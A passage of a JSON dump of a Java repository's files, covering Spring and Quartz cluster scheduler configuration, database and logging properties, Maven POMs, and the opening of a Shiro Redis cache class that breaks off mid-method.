    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:aop=\"http://www.springframework.org/schema/aop\"\n\txmlns:context=\"http://www.springframework.org/schema/context\" xmlns:tx=\"http://www.springframework.org/schema/tx\"\n\txmlns:mvc=\"http://www.springframework.org/schema/mvc\" xmlns:cache=\"http://www.springframework.org/schema/cache\"\n\txmlns:task=\"http://www.springframework.org/schema/task\"\n\txmlns:util=\"http://www.springframework.org/schema/util\"\n\txsi:schemaLocation=\"http://www.springframework.org/schema/mvc \n\t     http://www.springframework.org/schema/mvc/spring-mvc-4.0.xsd\n\t     http://www.springframework.org/schema/beans\n         http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n         http://www.springframework.org/schema/context\n         http://www.springframework.org/schema/context/spring-context-4.0.xsd\n         http://www.springframework.org/schema/aop\n         http://www.springframework.org/schema/aop/spring-aop-4.0.xsd\n         http://www.springframework.org/schema/tx \n         http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\n         http://www.springframework.org/schema/cache\n         http://www.springframework.org/schema/cache/spring-cache-4.0.xsd\n         http://www.springframework.org/schema/task \n    \t http://www.springframework.org/schema/task/spring-task-4.0.xsd\n    \t http://www.springframework.org/schema/util \n    \t http://www.springframework.org/schema/util/spring-util-4.0.xsd\">\n\n\t<!-- Quartz的定时集群任务配置 -->\n\t<bean id=\"quartzDataSource\" class=\"org.springframework.jdbc.datasource.SimpleDriverDataSource\">\n        <property name=\"driverClass\" value=\"${jdbc.quartz.driverClassName}\" />\n        <property name=\"url\" value=\"${jdbc.quartz.url}\" />\n        <property name=\"username\" value=\"${jdbc.quartz.username}\" />\n        <property name=\"password\" value=\"${jdbc.quartz.password}\" />\n    </bean>\n    \n    <!-- Quartz集群Schduler -->\n    <bean class=\"org.springframework.scheduling.quartz.SchedulerFactoryBean\">\n        <!-- Triggers集成 -->\n        <property name=\"triggers\">\n            <list>\n                <ref bean=\"timerTrigger\" />\n            </list>\n        </property>\n        <!--  quartz配置文件路径-->\n        <property name=\"configLocation\" value=\"classpath:quartz.properties\" />\n        <!-- 启动时延期3秒开始任务 -->\n        <property name=\"startupDelay\" value=\"3\" />\n        <!-- 保存Job数据到数据库所需的数据源 -->\n        <property name=\"dataSource\" ref=\"quartzDataSource\" />\n        <!-- Job接受applicationContext的成员变量名 -->\n        <property name=\"applicationContextSchedulerContextKey\" value=\"applicationContext\" />\n        <property name=\"overwriteExistingJobs\" value=\"true\" />\n        <property name=\"jobFactory\">\n            <bean class=\"com.jun.plugin.quartz.quartz.AutoWiringSpringBeanJobFactory\"/>\n        </property>\n    </bean>\n    \n    <bean id=\"timerTrigger\" class=\"org.springframework.scheduling.quartz.CronTriggerBean\">\n        <property name=\"jobDetail\" ref=\"testJobDetail\" />\n\t\t<!-- 每隔1分钟执行一次 -->\n        <property name=\"cronExpression\" value=\"0 0/1 * * * ? \" />\n    </bean>\n    \n    <!-- Timer JobDetail, 基于JobDetailBean实例化Job Class,可持久化到数据库实现集群 -->\n    <bean id=\"testJobDetail\" class=\"org.springframework.scheduling.quartz.JobDetailBean\">\n        <property name=\"jobClass\" value=\"com.jun.plugin.quartz.task.TestTask\" />\n    </bean>\n    \n</beans>"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/resources/applicationContext.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:aop=\"http://www.springframework.org/schema/aop\"\n\txmlns:context=\"http://www.springframework.org/schema/context\" xmlns:tx=\"http://www.springframework.org/schema/tx\"\n\txmlns:mvc=\"http://www.springframework.org/schema/mvc\" xmlns:cache=\"http://www.springframework.org/schema/cache\"\n\txmlns:task=\"http://www.springframework.org/schema/task\"\n\txmlns:util=\"http://www.springframework.org/schema/util\"\n\txsi:schemaLocation=\"http://www.springframework.org/schema/mvc \n\t     http://www.springframework.org/schema/mvc/spring-mvc-4.0.xsd\n\t     http://www.springframework.org/schema/beans\n         http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n         http://www.springframework.org/schema/context\n         http://www.springframework.org/schema/context/spring-context-4.0.xsd\n         http://www.springframework.org/schema/aop\n         http://www.springframework.org/schema/aop/spring-aop-4.0.xsd\n         http://www.springframework.org/schema/tx \n         http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\n         http://www.springframework.org/schema/cache\n         http://www.springframework.org/schema/cache/spring-cache-4.0.xsd\n         http://www.springframework.org/schema/task \n    \t http://www.springframework.org/schema/task/spring-task-4.0.xsd\n    \t http://www.springframework.org/schema/util \n    \t http://www.springframework.org/schema/util/spring-util-4.0.xsd\">\n\n\t<import resource=\"applicationContext-quartz.xml\"/>\n\t\n\t<!-- 打开Spring的Annotation支持 -->\n\t<context:annotation-config />\n\n\t<!-- 设定Spring 去哪些包中找Annotation -->\n\t<context:component-scan base-package=\"com.jun.plugin.quartz\" />\n\n\t<!--创建Spring的SessionFactory工厂 -->\n\t<context:property-placeholder location=\"classpath:jdbc.properties\" />\n\t\n</beans>"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/resources/jdbc.properties",
    "content": "#Sql Server connection\n# quartz database\n#jdbc.quartz.driverClassName=com.microsoft.sqlserver.jdbc.SQLServerDriver\n#jdbc.quartz.url=jdbc:sqlserver://localhost:1433;SelectMethod=cursor;databaseName=qdtask\n#jdbc.quartz.username=qdexam\n#jdbc.quartz.password=qdexam\n\n#Mysql connection\njdbc.quartz.driverClassName=com.mysql.jdbc.Driver\njdbc.quartz.url=jdbc:mysql://localhost:3306/quartz\njdbc.quartz.username=root\njdbc.quartz.password=root\n\n#Oracle connection\n#jdbc.quartz.driverClassName=oracle.jdbc.driver.OracleDriver\n#jdbc.quartz.url=jdbc:oracle:thin:@localhost:1521:orcl\n#jdbc.quartz.username=scott\n#jdbc.quartz.password=tiger\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/resources/log4j.properties",
    "content": "log4j.rootLogger=INFO,CONSOLE,QDKY\nlog4j.addivity.org.apache=false\n\nlog4j.appender.CONSOLE=org.apache.log4j.ConsoleAppender\nlog4j.appender.CONSOLE.Threshold=INFO\nlog4j.appender.CONSOLE.layout.ConversionPattern=%d{yyyy-MM-dd HH\\:mm\\:ss} -%-4r [%t] %-5p  %x - %m%n\nlog4j.appender.CONSOLE.Target=System.out\n#log4j.appender.CONSOLE.Encoding=UTF-8\nlog4j.appender.CONSOLE.layout=org.apache.log4j.PatternLayout\n\nlog4j.appender.QDKY=org.apache.log4j.DailyRollingFileAppender  \nlog4j.appender.QDKY.File=${catalina.home}/logs/quartzService_log/quartzService_\nlog4j.appender.QDKY.DatePattern=yyyy-MM-dd'.log'\nlog4j.appender.QDKY.layout=org.apache.log4j.PatternLayout  \nlog4j.appender.QDKY.layout.ConversionPattern=[quartzService_log]  %d{yyyy-MM-dd HH\\:mm\\:ss} %5p %c{1}\\:%L \\: %m%n\n\nlog4j.logger.org.hibernate.SQL=DEBUG\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/resources/quartz.properties",
    "content": "#============================================================================\n# Configure Main Scheduler Properties\n#============================================================================\norg.quartz.scheduler.instanceName = ClusteredScheduler\norg.quartz.scheduler.instanceId = AUTO\norg.quartz.scheduler.skipUpdateCheck = true\n#============================================================================\n# Configure ThreadPool\n#============================================================================\norg.quartz.threadPool.class = org.quartz.simpl.SimpleThreadPool\norg.quartz.threadPool.threadCount = 5\norg.quartz.threadPool.threadPriority = 5\n#============================================================================\n# Configure JobStore\n#============================================================================\norg.quartz.jobStore.class = org.quartz.impl.jdbcjobstore.JobStoreTX\norg.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.StdJDBCDelegate\norg.quartz.jobStore.misfireThreshold = 60000\norg.quartz.jobStore.useProperties = false\norg.quartz.jobStore.tablePrefix = QRTZ_\norg.quartz.jobStore.isClustered = true\norg.quartz.jobStore.clusterCheckinInterval = 15000\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/webapp/WEB-INF/web (2).xml",
    "content": "<!DOCTYPE web-app PUBLIC\n \"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n \"http://java.sun.com/dtd/web-app_2_3.dtd\" >\n\n<web-app>\n\t<display-name>Archetype Created Web Application</display-name>\n\t<!-- 创建Spring的监听器 -->\n\t<listener>\n\t\t<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>\n\t</listener>\n\n\t<!-- Spring 的监听器可以通过这个上下文参数来获取beans.xml的位置 -->\n\t<context-param>\n\t\t<param-name>contextConfigLocation</param-name>\n\t\t<param-value>classpath*:applicationContext.xml</param-value>\n\t</context-param>\n</web-app>\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_test</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/webapp/index (2).jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/test/resources/log4j2.xml",
    "content": "<Configuration status=\"WARN\">\n  <Appenders>\n    <Console name=\"Console\" target=\"SYSTEM_OUT\">\n      <PatternLayout pattern=\"%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n\"/>\n    </Console>\n    \n  </Appenders>\n  <Loggers>\n\n    <Root level=\"debug\">\n      \n        <AppenderRef ref=\"Console\"/>\n    </Root>\n  </Loggers>\n</Configuration>"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/test/resources/org/frameworkset/task/quarts-task.xml",
    "content": "<!-- \n\t任务调度\n-->\n<properties>\n\t<!--<config file=\"elastic.properties\"/>-->\n\t<!--quartz引擎配置参数，参考quartz官方配置文档\n\thttp://www.quartz-scheduler.org/documentation/quartz-2.2.x/configuration/\n\t-->\n\t<property name=\"quartz.config\">\n\t\t<map>\n\t\t\t<property name=\"org.quartz.scheduler.instanceName\" value=\"DefaultQuartzScheduler111\" />\n\t\t\t<property name=\"org.quartz.scheduler.rmi.export\" value=\"false\" />\n\t\t\t<property name=\"org.quartz.scheduler.rmi.proxy\" value=\"false\" />\n\t\t\t<property name=\"org.quartz.scheduler.wrapJobExecutionInUserTransaction\" value=\"false\" />\n\t\t\t<property name=\"org.quartz.threadPool.class\" value=\"org.quartz.simpl.SimpleThreadPool\" />\n\t\t\t<property name=\"org.quartz.threadPool.threadCount\" value=\"10\" />\n\t\t\t<property name=\"org.quartz.threadPool.threadPriority\" value=\"5\" />\n\t\t\t<property name=\"org.quartz.threadPool.threadsInheritContextClassLoaderOfInitializingThread\" value=\"true\" />\n\t\t\t<property name=\"org.quartz.jobStore.misfireThreshold\" value=\"6000\" />\n\t\t\t<property name=\"org.quartz.jobStore.class\" value=\"org.quartz.simpl.RAMJobStore\" />\n\t\t</map>\n\t\t<!-- for cluster -->\n\t\t\n\t</property>\n\n\t<property name=\"taskconfig\" enable=\"true\">\n\t\t<list>\n\t\t\t<property name=\"定时任务执行器\" taskid=\"default\"\n\t\t\t\tclass=\"org.frameworkset.task.DefaultScheduleService\" used=\"true\">\n\t\t\t\t<!--\n\t\t\t\t\t可执行的任务项\n\t\t\t\t\t属性说明：\n\t\t\t\t\tname：任务项名称\n\t\t\t\t\tid:任务项标识\n\t\t\t\t\taction:具体的任务执行处理程序,实现org.frameworkset.task.Execute接口\n\t\t\t\t\tcron_time：\tcron格式的时间表达式，用来管理任务执行的生命周期，相关的规则请参照日期管理控件quartz的说明文档\n\t\t\t\t\t基本格式 : [参数间必须使用空格隔开]\n\t\t\t\t\t*　　*　　*　　*　　*　　command\n\t\t\t\t\t分　时　日　月　周　命令\n\n\t\t\t\t\t第1列表示分钟1～59 每分钟用*或者 */1表示\n\t\t\t\t\t第2列表示小时1～23（0表示0点）\n\t\t\t\t\t第3列表示日期1～31\n\t\t\t\t\t第4列表示月份1～12\n\t\t\t\t\t第5列标识号星期0～6（0表示星期天）\n\t\t\t\t\t第6列要运行的命令\n\t\t\t\t\tshouldRecover:集群环境下属性必须设置为 true，当Quartz服务被中止后，再次启动或集群中其他机器接手任务时会尝试恢复执行之前未完成的所有任务。\n\t\t\t\t\tused 是否使用\n\t\t\t\t\ttrue 加载，缺省值\n\t\t\t\t\tfalse 不加载\t  \n\t\t\t\t\t子元素说明：\n\t\t\t\t\tparameter:设置任务执行的参数，name标识参数名称，value指定参数的值\n\t\t\t\t-->\n\t\t\t\t<list>\n\t\t\t\t\t<!--配置定时任务-->\n\t\t\t\t\t<property name=\"quartzjobdemo\" jobid=\"quartzjobdemo\"\n\t\t\t\t\t\t\t  bean-name=\"quartzjobdemo\"\n\t\t\t\t\t\t\t  method=\"jobmethod\"\n\t\t\t\t\t\tcronb_time=\"0/1 * * * * ?\" used=\"true\"\n\t\t\t\t\t\tshouldRecover=\"false\"\n\t\t\t\t\t\t/>\n\t\t\t\t</list>\n\t\t\t</property>\n\t\t</list>\n\t</property>\n\n\t<property name=\"quartzjobdemo\" class=\"org.frameworkset.quartz.job.DemoJob\"\n\t\t\t  f:jobParam=\"asdff\"\n\t\t\t  f:jobParam1=\"dddd\"\n\t\t\t  />\n\t\n\n</properties>"
  },
  {
    "path": "jun_java_plugins/jun_redis/.gitignore",
    "content": "/target/\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_redis</artifactId>\n\t<version>1.0</version>\n\n\t<properties>\n\t\t<jdk.version>1.7</jdk.version>\n\t\t<surefire.version>2.16</surefire.version>\n\t\t<slf4j.version>1.7.2</slf4j.version>\n\t\t<jackson.version>2.3.0</jackson.version>\n\t\t<logback.version>1.0.9</logback.version>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<!-- github.com/GZWgssmart/Template/SSM/ config/spring-redis-single.xml -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.data</groupId>\n\t\t\t<artifactId>spring-data-redis</artifactId>\n\t\t\t<version>2.0.1.RELEASE</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>redis.clients</groupId>\n\t\t\t<artifactId>jedis</artifactId>\n\t\t\t<version>2.9.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-test</artifactId>\n\t\t\t<version>5.0.1.RELEASE</version>\n\t\t</dependency>\n\t\t<!-- Jackson libs -->\n\t\t<dependency>\n\t\t\t<groupId>com.fasterxml.jackson.core</groupId>\n\t\t\t<artifactId>jackson-core</artifactId>\n\t\t\t<version>${jackson.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.fasterxml.jackson.core</groupId>\n\t\t\t<artifactId>jackson-databind</artifactId>\n\t\t\t<version>${jackson.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.fasterxml.jackson.core</groupId>\n\t\t\t<artifactId>jackson-annotations</artifactId>\n\t\t\t<version>${jackson.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.google.guava</groupId>\n\t\t\t<artifactId>guava</artifactId>\n\t\t\t<version>18.0</version>\n\t\t</dependency>\n\n\t\t<!-- logging -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>${slf4j.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>ch.qos.logback</groupId>\n\t\t\t<artifactId>logback-classic</artifactId>\n\t\t\t<version>1.0.9</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>ch.qos.logback</groupId>\n\t\t\t<artifactId>logback-core</artifactId>\n\t\t\t<version>1.0.9</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.11</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t</dependencies>\n\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/README.md",
    "content": "**shiro-redis**\n\nshiro集成redis的适配器，为解决shrio-ehcache不利于集群而打造的缓存集群方案。\n\n**Maven坐标**\n```\n<dependency>\n    <groupId>org.iherus.shiro</groupId>\n    <artifactId>shiro-redis</artifactId>\n    <version>1.0.0</version>\n</dependency>\n```\n\n\n更多正在补充中。。。。。 :smile:\n\n\n**Features**\n\n欢迎提出更好的意见，帮助完善 shiro-redis\n\n**Copyright**\n\nApache License, Version 2.0"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>org.iherus.shiro</groupId>\n\t<artifactId>shiro-redis</artifactId>\n\t<version>1.0.0</version>\n\t<packaging>jar</packaging>\n\n\t<name>shiro-redis</name>\n\t<description>Shiro cache Integration Adapter. </description>\n\t<url>http://maven.apache.org</url>\n\n\t<licenses>\n\t\t<license>\n\t\t\t<name>The Apache Software License, Version 2.0</name>\n\t\t\t<url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n\t\t</license>\n\t</licenses>\n\n\t<developers>\n\t\t<developer>\n\t\t\t<name>Bosco.Liao</name>\n\t\t\t<email>bosco_liao@126.com</email>\n\t\t</developer>\n\t</developers>\n\n\t<scm>\n\t\t<connection>scm:git:git@git.oschina.net:iherus/shiro-redis.git</connection>\n\t\t<developerConnection>scm:git:git@git.oschina.net:iherus/shiro-redis.git</developerConnection>\n\t\t<url>git@git.oschina.net:iherus/shiro-redis.git</url>\n\t\t<tag>v1.0.0</tag>\n\t</scm>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<shiro.version>1.2.4</shiro.version>\n\t\t<jedis.version>2.8.1</jedis.version>\n\t\t<slf4j.api.version>1.7.21</slf4j.api.version>\n\t\t<slf4j.log4j12.version>1.7.21</slf4j.log4j12.version>\n\t\t<commons.logging.version>1.2</commons.logging.version>\n\t\t<junit.version>4.12</junit.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.shiro</groupId>\n\t\t\t<artifactId>shiro-core</artifactId>\n\t\t\t<version>${shiro.version}</version>\n\t\t\t<scope>compile</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>redis.clients</groupId>\n\t\t\t<artifactId>jedis</artifactId>\n\t\t\t<version>${jedis.version}</version>\n\t\t\t<scope>compile</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>${slf4j.api.version}</version>\n\t\t\t<scope>compile</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>${slf4j.log4j12.version}</version>\n\t\t\t<scope>compile</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>commons-logging</groupId>\n\t\t\t<artifactId>commons-logging</artifactId>\n\t\t\t<version>${commons.logging.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>${junit.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>release</id>\n\t\t\t<build>\n\t\t\t\t<plugins>\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t\t\t<version>3.5.1</version>\n\t\t\t\t\t\t<configuration>\n\t\t\t\t\t\t\t<source>1.7</source>\n\t\t\t\t\t\t\t<target>1.7</target>\n\t\t\t\t\t\t</configuration>\n\t\t\t\t\t</plugin>\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-source-plugin</artifactId>\n\t\t\t\t\t\t<version>3.0.0</version>\n\t\t\t\t\t\t<configuration>\n\t\t\t\t\t\t\t<attach>true</attach>\n\t\t\t\t\t\t</configuration>\n\t\t\t\t\t\t<executions>\n\t\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t\t<id>attach-sources</id>\n\t\t\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t\t<goal>jar-no-fork</goal>\n\t\t\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t\t</execution>\n\t\t\t\t\t\t</executions>\n\t\t\t\t\t</plugin>\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-javadoc-plugin</artifactId>\n\t\t\t\t\t\t<version>2.10.3</version>\n\t\t\t\t\t\t<configuration>\n\t\t\t\t\t\t\t<aggregate>true</aggregate>\n\t\t\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t\t\t</configuration>\n\t\t\t\t\t\t<executions>\n\t\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t\t<id>attach-javadocs</id>\n\t\t\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t\t<goal>jar</goal>\n\t\t\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t\t</execution>\n\t\t\t\t\t\t</executions>\n\t\t\t\t\t</plugin>\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-gpg-plugin</artifactId>\n\t\t\t\t\t\t<version>1.6</version>\n\t\t\t\t\t\t<executions>\n\t\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t\t<id>sign-artifacts</id>\n\t\t\t\t\t\t\t\t<phase>verify</phase>\n\t\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t\t<goal>sign</goal>\n\t\t\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t\t</execution>\n\t\t\t\t\t\t</executions>\n\t\t\t\t\t</plugin>\n\t\t\t\t</plugins>\n\t\t\t</build>\n\t\t\t<distributionManagement>\n\t\t\t\t<snapshotRepository>\n\t\t\t\t\t<id>oss</id>\n\t\t\t\t\t<url>https://oss.sonatype.org/content/repositories/snapshots</url>\n\t\t\t\t</snapshotRepository>\n\t\t\t\t<repository>\n\t\t\t\t\t<id>oss</id>\n\t\t\t\t\t<url>https://oss.sonatype.org/service/local/staging/deploy/maven2</url>\n\t\t\t\t</repository>\n\t\t\t</distributionManagement>\n\t\t</profile>\n\t</profiles>\n\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/main/java/org/iherus/shiro/cache/redis/RedisCache.java",
    "content": "/**\n * Copyright (c) 2016-~, Bosco.Liao (bosco_liao@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\npackage org.iherus.shiro.cache.redis;\n\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.LinkedHashSet;\nimport java.util.List;\nimport java.util.Set;\n\nimport org.apache.shiro.cache.Cache;\nimport org.apache.shiro.cache.CacheException;\nimport org.apache.shiro.util.CollectionUtils;\nimport org.iherus.shiro.util.ArrayUtils;\nimport org.iherus.shiro.util.SerializeUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport redis.clients.jedis.Jedis;\nimport redis.clients.util.SafeEncoder;\n\n/**\n * <p>缓存接口实现类</p>\n * <p>Description:实现Shiro缓存接口，提供远程获取缓存对象、远程保存缓存对象和远程清空缓存库等功能</p>\n * @author Wujun\n * @version 1.0.0\n * @date 2016年4月11日-下午4:06:06\n */\npublic class RedisCache<K, V> implements Cache<K, V>, Serializable {\n\n\t/**\n\t * Required for serialization support.\n\t * \n\t * @see java.io.Serializable\n\t */\n\tprivate static final long serialVersionUID = 4521785299624111291L;\n\n\t/**\n     * Private internal log instance.\n     */\n\tprivate static final Logger logger = LoggerFactory.getLogger(RedisCache.class);\n\n\t/**\n\t * Default Shiro cache name.\n\t */\n\tprivate static final String DEFAULT_CACHE_NAME = \"shiro_redis_cache\";\n\n\t/**\n\t * Shiro cache name.\n\t */\n\tprivate String name = DEFAULT_CACHE_NAME;\n\n\t/**\n\t * Shiro cache key prefix.\n\t */\n\tprivate String shiroCacheKeyPrefix;\n\t\n\t/**\n\t * The wrapped RedisCachePool instance.\n\t */\n\tprotected RedisCachePool cachePool;\n\n\t/**\n\t * Constructs a new RedisCache instance with the given CachePool.\n\t */\n\tpublic RedisCache(RedisCachePool cachePool) {\n\t\tthis.cachePool = cachePool;\n\t}\n\n\t/**\n\t * Constructs a new RedisCache instance with the given CachePool and name.\n\t */\n\tpublic RedisCache(RedisCachePool cachePool, final String name) {\n\t\tif (cachePool == null) {\n\t\t\tthrow new IllegalArgumentException(\"CachePool argument cannot be null.\");\n\t\t}\n\t\tthis.cachePool = cachePool;\n\t\tthis.name = name;\n\t}\n\n\t/**\n\t * Gets bytes key with key prefix.\n\t */\n\tprivate final byte[] getKeyToBytes(K key) {\n\t\tif (key instanceof byte[]) {\n\t\t\treturn (byte[]) key;\n\t\t}\n\t\tfinal byte[] preBytes = getPrefixToBytes();\n\t\tbyte[] keyBytes = SerializeUtils.serialize(key);\n\t\treturn ArrayUtils.mergeAll(preBytes, keyBytes);\n\t}\n\n\t/**\n\t * Gets key prefix to byte[].\n\t */\n\tprivate final byte[] getPrefixToBytes() {\n\t\treturn SafeEncoder.encode(getShiroCacheKeyPrefix());\n\t}\n\n\t/**\n\t * Gets pattern to byte[] base on prefix.\n\t */\n\tprivate final byte[] getKeyPattern() {\n\t\treturn SafeEncoder.encode(getShiroCacheKeyPrefix() + \"*\");\n\t}\n\n\t@Override\n\t@SuppressWarnings(\"unchecked\")\n\tpublic V get(K key) throws CacheException {\n\t\tif (logger.isDebugEnabled()) {\n\t\t\tlogger.debug(\"Getting object from cache [\" + getName() + \"] for key [\" + key + \"]\");\n\t\t}\n\t\tJedis jedis = initJedis(cachePool);\n\t\ttry {\n\t\t\tif (key == null) {\n\t\t\t\treturn null;\n\t\t\t} else {\n\t\t\t\tbyte[] value = jedis.get(getKeyToBytes(key));\n\t\t\t\tif (value == null) {\n\t\t\t\t\tif (logger.isDebugEnabled()) {\n\t\t\t\t\t\tlogger.debug(\"Cache for [\" + key + \"] is null.\");\n\t\t\t\t\t}\n\t\t\t\t\treturn null;\n\t\t\t\t} else {\n\t\t\t\t\tif (logger.isDebugEnabled()) {\n\t\t\t\t\t\tlogger.debug(\"Cache for [\" + key + \"] is exist, ready to use it.\");\n\t\t\t\t\t}\n\t\t\t\t\treturn (V) SerializeUtils.deserialize(value);\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Throwable t) {\n\t\t\tthrow new CacheException(t);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t@Override\n\tpublic V put(K key, V value) throws CacheException {\n\t\tif (logger.isDebugEnabled()) {\n\t\t\tlogger.debug(\"Putting object in cache [\" + getName() + \"] for key [\" + key + \"]\");\n\t\t}\n\t\tJedis jedis = initJedis(cachePool);\n\t\ttry {\n\t\t\tV previous = get(key);\n\t\t\tbyte[] nval = 